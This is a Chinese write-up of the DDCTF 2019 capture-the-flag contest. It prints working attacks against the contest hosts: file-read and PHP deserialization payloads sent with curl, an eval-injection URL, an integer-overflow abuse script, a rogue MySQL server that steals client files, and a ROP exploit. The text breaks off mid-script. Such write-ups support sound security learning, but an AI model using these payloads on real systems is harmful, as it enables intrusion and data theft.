DDCTF 2019 WriteUp
前言
一年一度的 DDCTF 又来了。来,上个车。滴,学生卡~
DDCTF 由 滴滴出行信息安全部 主办,属于个人闯关类型 CTF 比赛
比赛入口地址:https://ddctf.didichuxing.com/
这次比赛共 5381 人参加,个人解出 18 道题,最终排名第 2
0x01 Web - 滴~
题目:http://117.51.150.246
网上能找到某春秋原题,这题好像有改动过吧。
访问题目链接,自动跳转到 http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
。
参数 jpg
,两次 base64 decode
,再 hex2bin
,得到 flag.jpg
。所以这里可能存在任意读取。
那么我们可以尝试构造参数 TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
,来读取 index.php
。
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
访问源代码里的链接,看到一篇讲“命令 echo”的文章,不过这与本题无关,关键点在这名博主的另一篇文章“vim 异常退出 swp文件提示”。这篇文章提到 .practice.txt.swp
文件。
尝试读取 .practice.txt.swp
文件,然而并不存在。
后来读取 practice.txt.swp
成功读到内容:ZjFhZyFkZGN0Zi5waHA=
。base64 decode
后得到 f1ag!ddctf.php
。
由于读取文件字符只允许 a-zA-Z0-9.
,而 config
会被替换为 !
。所以读取 f1agconfigddctf.php
相当于读取 f1ag!ddctf.php
。那么可以读取到 f1ag!ddctf.php
文件的内容。
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
这里的绕过很入门,就不多说了,直接贴上 Payload
。
Payload: http://117.51.150.246/f1ag!ddctf.php?k=php://input&uid=
好吧,说实话这道题,真的脑洞有点大。
Flag: DDCTF{436f6e67726174756c6174696f6e73}
0x02 Web - WEB 签到题
题目:http://117.51.158.44/index.php
在 index.js
里看到 /app/Auth.php
请求可以带上一个请求头 didictf_username
。
那么带上一个请求头 didictf_username: admin
去访问,可以得到一个文件的路径 /app/fL2XID2i0Cdh.php
。
访问 /app/fL2XID2i0Cdh.php
拿到另外两个文件 /app/Application.php
和 /app/Session.php
的源代码。
/app/Application.php
:
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
/app/Session.php
:
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
审计源代码。
在 session_read()
里,$data = sprintf($data,$v);
这一行,假如 $_POST["nickname"]
为 %s
,那么就能泄露出 $this->eancrykey
。
构造 Payload
如下:
curl -H 'didictf_username: admin' --cookie 'ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%223853b51fc9cd327af530a6c09e11259d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22223.104.64.208%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A11%3A%22curl%2F7.61.0%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D97ce8958578b78e4d91ca007527dfa53' -d 'nickname=%s' 'http://117.51.158.44/app/Session.php'
得到 Key: EzblrbNS
。
此时可以构造一个恶意 Session
,让 session_read()
里的 unserialize($session);
反序列化,恶意反序列化对象 Application
销毁时触发 __destruct()
,读取 $path
路径文件的内容。
最终 Payload
如下:
curl -H 'didictf_username: admin' --cookie 'ddctf_id=O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22....%2F%2Fconfig%2Fflag.txt%22%3B%7D77cd55a8d29df4f005f85e536d876525' 'http://117.51.158.44/app/Session.php'
Flag: DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}
0x03 Web - Upload-IMG
题目:http://117.51.148.166/upload.php
user:dd@ctf
pass:DD@ctf#000
根据题目所提供的用户名和密码登录页面,显示出一个文件上传页面。
只能上传图片文件,提示 上传的图片源代码中未包含指定字符串:phpinfo()
,而且图片在服务端经过 gd
库处理。
显然,我们需要构造一张图片,经过服务端 gd
库处理后的文件包含字符串 phpinfo()
。
网上查了一下资料,找到 upload-labs
里有相同漏洞的题目。参考链接
先上传一张 jpg
图片,然后下载经过服务端处理的图片。
修改 jpg_payload.php
,添加需要插入的字符串 phpinfo()
。
使用 php jpg_payload.php 1.jpg
命令生成新图片,然后上传新图片,得到 Flag
。
Flag: DDCTF{B3s7_7ry_php1nf0}
0x04 Web - homebrew event loop
题目:Flag格式:DDCTF{.....},也就是请手动包裹上DDCTF{}
http://116.85.48.107:5002/d5af31f66147e657
有个 View source code
功能,可以直接看源代码。
看到作者名字 garzon
师傅!先膜一波!还记得上一年区块链那题也是师傅出的。
花了几个小时进行代码审计,才找到漏洞。跟区块链那题一样,想得脑壳疼,不过解出来很舒服。
Event
都被放到一个队列中,按 FIFO
的顺序处理。
eval
那里可以用 #
注释掉后面的部分,实现有条件的任意函数执行。我们可以调用 trigger_event
往队列里添加新的 Event
。
如果在触发 RollBackException
前,触发 get_flag_handler
事件的处理,那么 Flag
就被写到 Session['log']
里,直接解密 Session
就能得到 Flag
。
贴上 Payload
:
http://116.85.48.107:5002/d5af31f66147e657/?action:trigger_event%23;action:buy;50%23action:get_flag;1
Flag: DDCTF{3v41_3v3nt_1O0p_aNd_fLASK_cOOk1e}
0x05 Web - 大吉大利,今晚吃鸡~
题目:http://117.51.147.155:5050/index.html#/login
注册用户登陆系统并购买入场票据,淘汰所有对手就能吃鸡啦~
本题不需要使用扫描器
这题并不难。整数溢出购买入场券,已经遇到好几次这种漏洞了。
但是需要淘汰 100
名选手。想了一下,想出来一种方法:可以不断注册账号,然后购买入场卷给特定账号淘汰。
后来发现每次得到的入场卷都是随机的,越到后面越难淘汰,脚本跑了一个半小时才淘汰完。
淘汰脚本如下:(看运气。没淘汰完就继续运行。)
import requests
import random
import string
import threading
from time import sleep
def randStr(length):
return ''.join(random.sample(string.ascii_letters + string.digits, length))
class MyThread(threading.Thread):
def __init__(self,func,args=()):
super(MyThread,self).__init__()
self.func = func
self.args = args
def run(self):
self.result = self.func(*self.args)
def get_result(self):
try:
return self.result
except Exception:
return None
def attack(count,un,pw):
try:
s=requests.session()
tun=randStr(8)
tpw=randStr(8)
s.get('http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s' % (tun, tpw))
r=s.get('http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967298')
bill=r.text.split('bill_id":"')[1].split('"')[0]
r=s.get('http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s' % bill)
id=r.text.split('your_id":')[1].split(',')[0]
ticket=r.text.split('your_ticket":"')[1].split('"')[0]
print id,ticket
s.get('http://117.51.147.155:5050/ctf/api/login?name=%s&password=%s' % (un, pw))
r=s.get('http://117.51.147.155:5050/ctf/api/remove_robot?ticket=%s&id=%s' % (ticket, id))
except:
pass
s=requests.session()
un='zYhaRgj4'
pw='89sl0mQt'
print (un, pw)
for i in range(50):
for j in range(10):
print i,j
ts=[]
t=MyThread(attack,args=(i*5+j,un,pw))
ts.append(t)
t.start()
sleep(1)
最后用淘汰者的账号访问 /ctf/api/get_flag
,就可以得到 Flag
。
Flag: DDCTF{chiken_dinner_hyMCX[n47Fx)}
0x06 Web - mysql弱口令
题目:http://117.51.147.155:5000/index.html#/scan
部署agent.py再进行扫描哦~
本题不需要使用扫描器
限制了每秒2-3次访问
这题弄了很久,还是没有思路。后来找到一个知识点:如何利用MySQL LOCAL INFILE读取客户端文件
这个 LOAD DATA LOCAL
命令以前用过,没想到有这种漏洞。看了一下这篇文章提到,客户端竟然不需要校验是否发送过这条命令,就十分信任服务端,将本地文件发往服务端。
题目提供的 agent.py
其实是为了检测客户端本地是否开启了 mysql
服务,只需要往回发送字符串 mysqld
就能绕过检测。
在网上找到该漏洞点的 POC
,修改一下就能使用。最后,在历史文件 ~/.mysql_history
里找到了 Flag
。
附上 POC
:
import socket
from time import sleep
filename='~/.mysql_history'
a='4a0000000a352e352e353300050000007b212f663926524900fff72102000f8015000000000000000000005963644f3d2336265b796f41006d7973716c5f6e61746976655f70617373776f726400'.decode('hex')
b='0100000200'.decode('hex')
c=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
HOST = '0.0.0.0'
PORT = 3306
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(5)
print 'Server start at: %s:%s' %(HOST, PORT)
print 'wait for connection...'
while True:
conn, addr = s.accept()
print 'Connected by ', addr
conn.send(a)
print conn.recv(1024).encode('hex')
conn.send(b)
print conn.recv(1024).encode('hex')
conn.send(c)
print conn.recv(1024)[4:]
用脚本在本机监听端口,开放一个恶意伪造的 MySQL
服务端,然后网页上填上本机 IP
和 端口号
进行扫描,本机就能接受到客户端本地的文件。
Flag: DDCTF{0b5d05d80cceb4b85c8243c00b62a7cd}
0x07 Reverse - Windows Reverse 1
题目:windows逆向,请找出正确的flag. 包裹上DDCTF{...}提交
查壳,显示 UPX
,用工具脱壳。上 IDA
分析。
输入字符串在这个函数里逐字符进行置换,置换表开头为 byte_402FF8
置换表如上
置换结果与 DDCTF{reverseME}
进行比较。
直接贴逆置换的代码。
data='FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E7D7C7B7A797877767574737271706F6E6D6C6B6A696867666564636261605F5E5D5C5B5A595857565554535251504F4E4D4C4B4A494847464544434241403F3E3D3C3B3A393837363534333231302F2E2D2C2B2A29282726252423222120'.decode('hex')
enc='DDCTF{reverseME}'
flag=''
for i in enc:
flag+=chr(data.index(i))
print 'DDCTF{%s}' % flag
Flag: DDCTF{ZZ[JX#,9(9,+9QY!}
0x08 Reverse - Windows Reverse 2
题目:windows逆向,请找出正确的flag. 包裹上DDCTF{...}提交
查壳,显示 ASPack
,用工具脱壳。上 IDA
分析。
sub_11D11F0
函数判断输入的字符串是否在 0-9,A-F
的范围内,并且长度是否为偶数。
sub_11D1240
函数是一个 hex2bin
的转换。
sub_11D1000
函数是一个 base64
编码的过程,编码结果再异或 0x76
。
编码表为 byte_11D3020
。
贴上解密脚本:
enc='reverse+'
dec1=''
table='373435323330313E3F3C3D3A3B383926272425222320212E2F2C171415121310111E1F1C1D1A1B181906070405020300010E0F0C46474445424340414E4F5D59'.decode('hex')
dec2=[]
flag=''
for i in enc:
dec1+=chr(ord(i)^0x76)
for i in dec1:
dec2.append(table.index(i))
for i in range(2):
a=dec2[4*i+0]
b=dec2[4*i+1]
c=dec2[4*i+2]
d=dec2[4*i+3]
flag+=chr((a<<2)|(b>>4))
flag+=chr(((b<<4)&0xff)|(c>>2))
flag+=chr(((c<<6)&0xff)|d)
flag=flag.encode('hex').upper()
print 'DDCTF{%s}' % flag
Flag: DDCTF{ADEBDEAEC7BE}
0x09 Reverse - Confused
题目:confused, need your flag.
一个 CrackMe
小程序。
直接提取 /confused.app/Contents/MacOS/xia0Crackme
上 IDA
进行分析。
找到 Check
函数 -[ViewController checkCode:]
。
输入内容截取掉 DDCTF{}
大括号里面的部分,再交由 sub_1000011D0
进一步判断。
跟进去分析,其实这里面实现了指令翻译的功能。
初始化 struct
:
逐条指令翻译:
所有指令:
找到对应指令,先手工跟着翻译一下,很快就能直接写出解密脚本了,因为算法不难。
ins='F01066000000F8F230F6C1F01063000000F8F231F6B6F0106A000000F8F232F6ABF0106A000000F8F233F6A0F0106D000000F8F234F695F01057000000F8F235F68AF0106D000000F8F236F67FF01073000000F8F237F674F01045000000F8F238F669F0106D000000F8F239F65EF01072000000F8F23AF653F01052000000F8F23BF648F01066000000F8F23CF63DF01063000000F8F23DF632F01044000000F8F23EF627F0106A000000F8F23FF61CF01079000000F8F240F611F01065000000F8F241F606'.decode('hex')
flag=''
for i in range(len(ins)/11):
tmp=ins[11*i:11*(i+1)]
k=ord(tmp[2])
if k in range(0x41,0x5b):
k=(k-0x41+2)%26+0x41
if k in range(0x61,0x7b):
k=(k-0x61+2)%26+0x61
flag+=chr(k)
print 'DDCTF{%s}' % flag
直接出 Flag
。
Flag: DDCTF{helloYouGotTheFlag}
0x0A Reverse - obfuscating macros
题目:提交格式:DDCTF{最短的正确输入},使得程序输出WELL DONE!
这题一开始手工分析,发现做了 流程平坦化
处理,程序不长,还是可以 F5
分析一下的。
两个 Check
函数,先分析前面那个 sub_4069D6
函数。
F5
里看到有几行比较长的代码。
if ( (std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(a1) & 1) != 0 )
v3 = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) > '/'
&& *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) <= '9';
v5 = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) > '@'
&& *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) <= 'F';
初步判断会检测输入长度的奇偶性,而且只允许 0-9A-F
。在返回值处下断点,尝试了一下,推测应该没错,只允许输入 hex
,而且长度为偶数。
sub_4013E6
函数里的 F5
代码要长很多,一时没分析出来。后来直接上 pin
跑,竟然能跑出结果,可是试了半天发现结果是错的(其实与正确结果很相近了,前面大部分都一样的,就差最后面的不同)。
因为 pin
能跑出结果,所以猜测 sub_4013E6
里大概是逐字节判断输入。
这题一时没有思路,后来再次分析这题,直接比较 sub_4013E6
和 sub_4069D6
的不同点,在不同点处下断点慢慢调,最后找到跟之前跑 pin
十分相近的结果,那么这里应该就是关键点了。
这里的 v25
= 0x4082C0
,*v26
是每一轮赋的不同值(这个值固定写在了代码里)。
第一行 xor
后的值就是我们每一轮需要输入的值。
第二行是根据第一行 xor
后的值判断 v25
是否需要 +1
。
直接下断点动态,读每一轮的 *v26
就能得到 Flag
了。
Flag: DDCTF{79406C61E5EEF319CECEE2ED8498}
0x0B Misc - 真-签到题
题目:请认真阅读第一条公告(本页面顶部导航栏中有链接)。
好好看看公告~
Flag
就在公告里。
Flag: DDCTF{return DDCTF::get(2019)->flagOf(0);}
0x0C Misc - 北京地铁
题目:Color Threshold
提示:AES ECB密钥为小写字母
提示2:密钥不足位用\0补全
提示3:不要光记得隐写不看图片本身啊...
根据题目提示,查隐写,在 LSB
里找到一串 base64
编码的字符串,应该是 AES
的密文。
进一步根据 Color Threshold
提示,用 PhotoShop
调整图片的阀值,找到 北京地铁线路图
上某一站点的颜色不一样,这个站点的 小写拼音字母
为加密密钥。
from Crypto.Cipher import AES
from base64 import *
cipher=b64decode('7SsQWmZ524i/yVWoMeAIJA==')
key='weigongcun'.ljust(16,'\x00')
mode=AES.MODE_ECB
c=AES.new(key, mode)
print c.decrypt(cipher)
Flag: DDCTF{Q*2!x@B0}
0x0D Misc - MulTzor
题目:原文为英语,请破解
12ce98ec4c4d79e38bf9454a71fecafa5a196ce58fb5795771ea87f41c
......此处省略N个字符......
1055c2abcdaa30a0b2bbddbf45f097ebb8ca65d0f2dbfdca40c0f7ebc97
一开始没有思路,Mul
应该是 Multi
的意思,Tzor
觉得是跟 Xor
有关系。
然后就往 Xor
的方向去尝试,不过手工写脚本并不好使,而且如果有密钥也很难爆出来。
后来找到一个叫 featherduster 的密码学分析工具,可以直接分析出明文和加密类型:multi_byte_xor
。
工具分析得到以下可能正确的 Flag
:
DDDTF{b5f49e210662301ac0f6f3a6527106f1z
CDCTF{b5f49e210662401ac0f6f3a6526106a1}
DDETF{b5f49e210662301ac0f6`3a6526106f1}
经过比对和尝试,得到正确的 Flag
。
Flag: DDCTF{b5f49e210662301ac0f6f3a6526106f1}
0x0E Misc - [PWN] strike
题目:nc 116.85.48.105 5005
先 checksec
看一下开了什么保护
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开了 NX
和 部分RELRO
。
那么看一下程序有什么功能。
这里输入想要 read
的长度 nbytes
,nbytes
是 signed int
类型,所以可以设置为 -1
,导致可以无限长度的 read
。同时 &buf
位于栈上,程序没有开启 canary
防护,所以可以任意构造 ROP
链。
这里 &buf
位于栈上,所以可以 fprintf
打印栈上内容,导致栈上地址泄露,可以泄露计算出 libc
的基地址。
基本流程掌握了,然而这题有个坑点在这里。
retn
前面有一行 lea esp, [ecx-4]
,会根据 ecx
改写 esp
,那么需要通过上面的 pop ecx
来控制 ecx
间接地控制 esp
。这里需要提前算好 ecx
的值和偏移,插入到栈上。
POC
如下:
from pwn import *
io=remote('116.85.48.105', 5005)
context.log_level='debug'
payload='a'*0x28
io.sendafter('username: ',payload)
io.recvuntil('a'*0x28)
stack_addr=u32(io.recv(4))
libc_addr=u32(io.recv(4))-0x15-0x65450
gadget_addr=libc_addr+0x3a80c
io.sendafter('password: ',str(-1))
payload='a'*0x44+p64(stack_addr+0x14)+p64(0)+p64(0)+p64(gadget_addr)
io.sendafter('): ',payload)
io.interactive()
Flag: DDCTF{s0_3asy_St4ck0verfl0w_r1ght?}
0x0F Misc - Wireshark
题目:简单的流量分析
流量分析。关键点在 HTTP
里。
这里上传了两张图片,可以导出来得到 upload.png
和 interesting.png
。
upload.png
在 MacOS
和 Kali
下都无法预览,想到应该是图片尺寸被修改,根据 PNG
头部的 CRC
爆破图片尺寸,图片尺寸修复脚本如下。
import os
import binascii
import struct
misc = open("upload.png","rb").read()
for i in range(1024):
data = misc[12:20] + struct.pack('>i',i) + misc[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == struct.unpack('>i',misc[29:33])[0]:
print i
data = misc[0:20] + struct.pack('>i',i) + misc[24:]
open('upload_repaire.png','wb').write(data)
看到有个 Key: xS8niJM7
,结合流量包里访问过的 在线图片隐写网址 ,可以在线解密出 interesting.png
里隐写的内容。
Flag: DDCTF{NbuiBUlR5lhww2OfpEmueZd64OlRJ1D2}
0x10 Misc - 联盟决策大会
题目:为了共同的利益,【组织1】和【组织2】成立了联盟,并遵守共同约定的协议。为了让协议的制定和修改更加公
平,组织1和组织2共同决定:当三位以上【组织1】成员和三位以上【组织2】成员同意时,才可以制定或修改协
议。为了实现这一功能,联盟的印章被锁在密码保险柜中,而保险柜的密码只通过Shamir秘密分享方案分享给【组织
1】和【组织2】的每一位成员。
现在,【组织1】的【成员1】、【成员2】、【成员4】,【组织2】的【成员3】、【成员4】、【成员5】一致同
意制定新的协议。请还原出这套方案的设计思路,按照这套方案的思路恢复出保险柜密码,取出印章吧!
以下为使用到的7个十六进制常数:
p =
C45467BBF4C87D781F903249243DF8EE868EBF7B090203D2AB0EDA8EA48719ECE9B914F9F5D0795C23BF627
E3ED40FBDE968251984513ACC2B627B4A483A6533
组织1成员1 =
729FB38DB9E561487DCE6BC4FB18F4C7E1797E6B052AFAAF56B5C189D847EAFC4F29B4EB86F6E678E0EDB17
77357A0A33D24D3301FC9956FFBEA5EA6B6A3D50E
组织1成员2 =
478B973CC7111CD31547FC1BD1B2AAD19522420979200EBA772DECC1E2CFFCAE34771C49B5821E9C0DDED7C
24879484234C8BE8A0B607D8F7AF0AAAC7C7F19C6
组织1成员4 =
BFCFBAD74A23B3CC14AF1736C790A7BC11CD08141FB805BCD9227A6E9109A83924ADEEDBC343464D42663AB
5087AE26444A1E42B688A8ADCD7CF2BA7F75CD89D
组织2成员3 =
9D3D3DBDDA2445D0FE8C6DFBB84C2C30947029E912D7FB183C425C645A85041419B89E25DD8492826BD709A
0A494BE36CEF44ADE376317E7A0C70633E3091A61
组织2成员4 =
79F9F4454E84F32535AA25B8988C77283E4ECF72795014286707982E57E46004B946E42FB4BE9D22697393F
C7A6C33A27CE0D8BFC990A494C12934D61D8A2BA8
组织2成员5 =
2A074DA35B3111F1B593F869093E5D5548CCBB8C0ADA0EBBA936733A21C513ECF36B83B7119A6F5BEC6F472
444A3CE2368E5A6EBF96603B3CD10EAE858150510
根据题目提示,在维基百科上可以找到 Shamir算法 的解密脚本。
使用 组织1成员1
& 组织1成员2
& 组织1成员4
& p
,可以解密得到 组织1密文
。
使用 组织2成员3
& 组织2成员4
& 组织2成员5
& p
,可以解密得到 组织2密文
。
刚开始想直接将两者进行 xor
处理,应该就能得到明文,其实这样行不通。
后来发现将两者拿去进行解密,就可以得到明文了。
附上解密脚本:
from __future__ import division
from __future__ import print_function
import random
import functools
_PRIME = 2**127 - 1
_RINT = functools.partial(random.SystemRandom().randint, 0)
def _eval_at(poly, x, prime):
accum = 0
for coeff in reversed(poly):
accum *= x
accum += coeff
accum %= prime
return accum
def make_random_shares(minimum, shares, prime=_PRIME):
if minimum > shares:
raise ValueError("pool secret would be irrecoverable")
poly = [_RINT(prime) for i in range(minimum)]
points = [(i, _eval_at(poly, i, prime))
for i in range(1, shares + 1)]
return poly[0], points
def _extended_gcd(a, b):
x = 0
last_x = 1
y = 1
last_y = 0
while b != 0:
quot = a // b
a, b = b, a%b
x, last_x = last_x - quot * x, x
y, last_y = last_y - quot * y, y
return last_x, last_y
def _divmod(num, den, p):
inv, _ = _extended_gcd(den, p)
return num * inv
def _lagrange_interpolate(x, x_s, y_s, p):
k = len(x_s)
assert k == len(set(x_s)), "points must be distinct"
def PI(vals):
accum = 1
for v in vals:
accum *= v
return accum
nums = []
dens = []
for i in range(k):
others = list(x_s)
cur = others.pop(i)
nums.append(PI(x - o for o in others))
dens.append(PI(cur - o for o in others))
den = PI(dens)
num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
for i in range(k)])
return (_divmod(num, den, p) + p) % p
def recover_secret(shares, prime=_PRIME):
if len(shares) < 2:
raise ValueError("need at least two shares")
x_s, y_s = zip(*shares)
print (x_s)
return _lagrange_interpolate(0, x_s, y_s, prime)
def main():
p=0xC45467BBF4C87D781F903249243DF8EE868EBF7B090203D2AB0EDA8EA48719ECE9B914F9F5D0795C23BF627E3ED40FBDE968251984513ACC2B627B4A483A6533
a1=(1,0x729FB38DB9E561487DCE6BC4FB18F4C7E1797E6B052AFAAF56B5C189D847EAFC4F29B4EB86F6E678E0EDB1777357A0A33D24D3301FC9956FFBEA5EA6B6A3D50E)
a2=(2,0x478B973CC7111CD31547FC1BD1B2AAD19522420979200EBA772DECC1E2CFFCAE34771C49B5821E9C0DDED7C24879484234C8BE8A0B607D8F7AF0AAAC7C7F19C6)
a4=(4,0xBFCFBAD74A23B3CC14AF1736C790A7BC11CD08141FB805BCD9227A6E9109A83924ADEEDBC343464D42663AB5087AE26444A1E42B688A8ADCD7CF2BA7F75CD89D)
b3=(3,0x9D3D3DBDDA2445D0FE8C6DFBB84C2C30947029E912D7FB183C425C645A85041419B89E25DD8492826BD709A0A494BE36CEF44ADE376317E7A0C70633E3091A61)
b4=(4,0x79F9F4454E84F32535AA25B8988C77283E4ECF72795014286707982E57E46004B946E42FB4BE9D22697393FC7A6C33A27CE0D8BFC990A494C12934D61D8A2BA8)
b5=(5,0x2A074DA35B3111F1B593F869093E5D5548CCBB8C0ADA0EBBA936733A21C513ECF36B83B7119A6F5BEC6F472444A3CE2368E5A6EBF96603B3CD10EAE858150510)
shares=[a1,a2,a4,b3,b4,b5]
r1=recover_secret(shares[:3],p)
r2=recover_secret(shares[-3:],p)
print(hex(r1))
print(hex(r2))
r3=r1^r2
print(hex(r3))
c1=(1,r1)
c2=(2,r2)
shares=[c1,c2]
r4=recover_secret(shares,p)
print(hex(r4))
print(hex(r4)[2:-1].decode('hex'))
if __name__ == '__main__':
main()
Flag: DDCTF{vF22holF5hl5q0WmrFZ5kZ1DBdWOGObk}
0x11 Android - Breaking LEM
题目:In this question, a Lorenz encryption machine is explained and a string is encrypted using the key. Please reverse the app and find the key of the encrypting algorithm, and input the string in the Android app. A Lorenz encryption machine uses 12 wheels, each with 23 ~ 61 lowered or raised cams, to randomly generate 12 binary numbers (chi1~chi5, mu37, mu61, psi1~psi5) with the respective length of 23 ~ 61 bits. For example, one random number (chi5) is of length 23: 0101 0000 0111 0101 0101 011. ( FYI: In the mechanical cipher, the lowered cam means 0 and the raised cam means 1. ) Then use the key e.g. XYZ to form the flag in the style of DDCTF{XYZ}
提示:The format of the flag is DDCTF{ddctf-android-lorenz-ZFXXXXXX}, where XXXXXX represents a 6-char string comprised of A-Z and 0-9. MAX Attempts Limit is 5
看题目应该是 Lorenz Cipher
,上维基百科恶补一番。
反编译 APK
,找到关键函数在 libhello-libs.so
文件里的:
Java_com_didictf_guesskey2019lorenz_MainActivity_stringFromJNI(int a1);
结合动态调试,分析出输入要以 ddctf-android-lorenz-
开头,里面会去除这个开头,然后判断剩下的字符串是否在 A-Z,1-6
范围内,然后拿去做 Lorenz Encrypt
,最后加密结果做 5轮sha256
计算,比较结果是否与设定值相同。
LEM
初始化时会设置 Pinsettings
,也就是轮子的初始值,然后每次转轮生成固定的密钥,有点像 srand
和 rand
产生伪随机数的过程。然后用户输入还经过 TelePrinter
的 Baudot
编码转换。生成的密钥与用户输入进行 xor
处理。完成一次加密需要进行 10轮
这个步骤。
根据题目提示,需要交给 LEM
做加密的字符串为 ZFXXXXXX
(X
代表的字符在 A-Z,1-6
范围内)。
为了省事,在此处下断点读 v4
,读 8*10=80
次,把需要用到的密钥读出来。
已知明文前面两字节为 ZF
,需要爆破后面6字节。
写出爆破脚本如下:
from hashlib import sha256
target='4b27bd0beaa967e3625ff6f8b8ecf76c5beaa3bda284ba91967a3a5e387b0fa7'
table='ABCDEFGHIJKLMNOPQRSTUVWXYZ123456'
key=[0x9,0x17,0x16,0x3,0x12,0xB,0x1B,0x0,0x4,0x10,0x19,0x5,0x17,0x1D,0x17,0x18,0x18,0x19,0xE,0x3,0x8,0x8,0x18,0xD,0x1E,0x9,0x19,0x1E,0x13,0x0,0x1E,0x1F,0x5,0x11,0x1A,0xD,0x17,0xF,0x1C,0x7,0x1B,0xA,0x8,0x9,0x7,0x1F,0x17,0xA,0xF,0x1F,0x4,0xD,0x18,0xE,0xB,0xB,0x12,0x4,0x3,0xD,0xD,0x4,0x5,0x1D,0xE,0x11,0x8,0x5,0x15,0x1C,0x7,0x1E,0x14,0x9,0x1F,0x2,0xD,0xE,0xA,0x19]
tele=[3,25,14,9,1,13,26,20,6,11,15,18,28,12,24,22,23,10,5,16,7,30,19,29,21,17,0,4,8,2,27]
